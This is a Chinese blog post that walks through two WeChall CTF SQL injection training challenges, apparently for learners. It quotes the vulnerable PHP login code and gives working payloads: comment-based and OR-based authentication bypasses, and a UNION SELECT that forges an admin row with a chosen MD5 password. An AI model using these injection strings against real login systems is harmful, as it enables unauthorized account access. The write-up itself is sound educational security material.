专业的IT技术开发社区

2022
封阳博客
首页 » 技术分享 » Wechar写了两个SQL注入基本主题

Wechar写了两个SQL注入基本主题

Wechall是CTF的题库。直奔主题
培训:MySQL I
你的任务很简单:以管理员身份登录。
重要的源代码:

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

if (false === ($result = $db->queryFirst($query))) {
        echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user
        return false;
}

# Welcome back!
echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false);

# Challenge solved?
if (strtolower($result['username']) === 'admin') {
        $chall->onChallengeSolved(GWF_Session::getUserID());
}

重点是第一行:

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

两种方法:
方法一
username输入 admin'# 即可登录。
原理:用Mysql单行注释符号#将后半句AND语句注释掉。

$query = "SELECT * FROM users WHERE username='admin'#' AND password='$password'";

构成SQL语句


SELECT * FROM users WHERE username='admin'

故而登录成功。 补充:之所以不是php注释,是因为#在双引号中,只会显示它的字面量。
同样可以用--  --的后面要加空格。

方法二
username输入 admin' or '1 即可登录。
构成SQL语句

SELECT * FROM users WHERE username='admin' or '1' AND password='$password'

这里的1可以换成其他非空字符。

因为or在and的前面,所以可以理解成

username='admin'

'1' AND password='$password'

进行运算, 因此即使第二部分是,整条语句也是真的。

Training: MySQL II

第二题开始:
任务和上一题一样。重要源代码:

function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
        $db = auth2_db();

        $password = md5($password);

        $query = "SELECT * FROM users WHERE username='$username'";

        if (false === ($result = $db->queryFirst($query))) {
                echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
                return false;
        }

        #############################
        ### This is the new check ###
        if ($result['password'] !== $password) {
                echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
                return false;
        } #  End of the new code  ###
        #############################

        echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);

        if (strtolower($result['username']) === 'admin') {
                $chall->onChallengeSolved(GWF_Session::getUserID());
        }

        return true;
}

从代码可以看到username password分开来验证。通常的利用方法是使用union构造已知MD5值的查询。

查询代码:

$query = "SELECT * FROM users WHERE username='$username'";

username一栏填写

123' union select 1,'admin',md5('password');#

构成sql语句:

SELECT * FROM users WHERE username='123' union select 1,'admin',md5('password');#'

由于最后有个注释符号,所以相当于:

SELECT * FROM users WHERE username='123' union select 1,'admin',md5('password');

这句话首先通过username=123将原语句报错。因此返回的将会是第二条语句产生的信息。
而我们union select的是直接构造了用户名为admin,密码为password的md5值。这样就可以让程序误认为我们构造的信息就是它从数据库里面提取得到的信息。

验证密码正确是通过判断: $result['password'] 和 $password 是否一致。

$result['password']是用union构造的,因此password一栏填写password即可登录成功。

答案
username填写  123' union select 1,'admin',md5('password');#
password填写  password

文章如无特别注明均为原创! 作者: 封阳, 转载或复制请以 超链接形式 并注明出处 封阳博客
原文地址《 Wechar写了两个SQL注入基本主题》发布于2022年5月6日

分享到:
打赏

评论

游客

  1. #1
    qq_avatar

    Wechar写了两个SQL注入基本主题

    封阳 管理员 2022-05-06 20:39 回复